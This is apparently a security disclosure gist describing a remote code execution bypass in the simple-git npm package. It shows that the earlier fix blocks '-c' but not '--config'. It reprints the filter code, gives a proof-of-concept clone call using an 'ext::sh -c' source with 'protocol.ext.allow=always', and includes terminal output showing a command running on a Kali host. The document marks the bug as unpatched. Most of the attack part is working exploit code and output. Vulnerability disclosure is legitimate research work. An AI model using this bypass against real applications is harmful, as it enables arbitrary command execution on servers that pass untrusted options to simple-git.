

Instantly share code, notes, and snippets.

KKC73 / PoC.md Secret



Last active last month

<> **Code** Revisions 9

Remote Code Execution (RCE) in simple-git

PoC.md

Summary

The mitigation for [CVE-2022-25912](#) appears to block the `-c` option but not the equivalent `--config` form. If untrusted input can reach the `options` argument passed to `simple-git`, an attacker may still achieve remote code execution by enabling `protocol.ext.allow=always` and using an `ext::` clone source.

Vulnerable Code

```

1  import type { SimpleGitPlugin } from './simple-git-plugin';
2
3  import { GitPluginError } from './errors/git-plugin-error';
4  import type { SimpleGitPluginConfig } from './types';
5
6  function isConfigSwitch(arg: string | unknown) {
7    return typeof arg === 'string' && arg.trim().toLowerCase() === '-c';
8  }
9
10 function isCloneSwitch(char: string, arg: string | unknown) {
11   if (typeof arg !== 'string' || !arg.includes(char)) {
12     return false;
13   }
14
15   const token = arg.replace(/\\0g/, '').replace(/^(--no)?-[1,2]/, '');
16   return /^[^\\s\\n\\b\\c]*\\b/.test(token);
17 }
18
19 function preventProtocolOverride(arg: string, next: string) {
20   if (!isConfigSwitch(arg)) {
21     return;
22   }
23
24   if (!/^\\s*protocol\\.([a-z]+)?\\.allow/i.test(next)) {
25     return;
26   }
27
28   throw new GitPluginError(
29     undefined,
30     'unsafe',
31     'Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol'
32   );
33 }

```

PoC

```

const simpleGit = require('simple-git')
const myGit = simpleGit()
myGit.clone('ext::sh -c touch% /tmp/pwned_by_kkc% >&2', '/tmp/example-new-rep

```

Proof of Success

```

(kali@kali)-[~/tmp/test_simple_git]
└─$ ls
node_modules package.json package-lock.json poc.js
(kali@kali)-[~/tmp/test_simple_git]
└─$ cat poc.js
const simpleGit = require('simple-git')
const myGit = simpleGit()
myGit.clone('ext::sh -c touch% /tmp/pwned_by_kkc% >&2', '/tmp/example-new-repo', ['--config', 'protocol.ext.allow=always'])
(kali@kali)-[~/tmp/test_simple_git]
└─$ ls -l /tmp/pwned_by_kkc
ls: cannot access '/tmp/pwned_by_kkc': No such file or directory
(kali@kali)-[~/tmp/test_simple_git]
└─$ node poc.js
(kali@kali)-[~/tmp/test_simple_git]
└─$ ls -l /tmp/pwned_by_kkc
-rw-rw-r-- 1 kali kali 0 Mar 11 14:41 /tmp/pwned_by_kkc

```

Impact

Applications that pass attacker-controlled input into the `options` argument of the `clone` function in the `simple-git` npm package may allow arbitrary command execution on the host running the Node.js process.

Affected versions: >=3.15.0

No patch available

Tested on linux system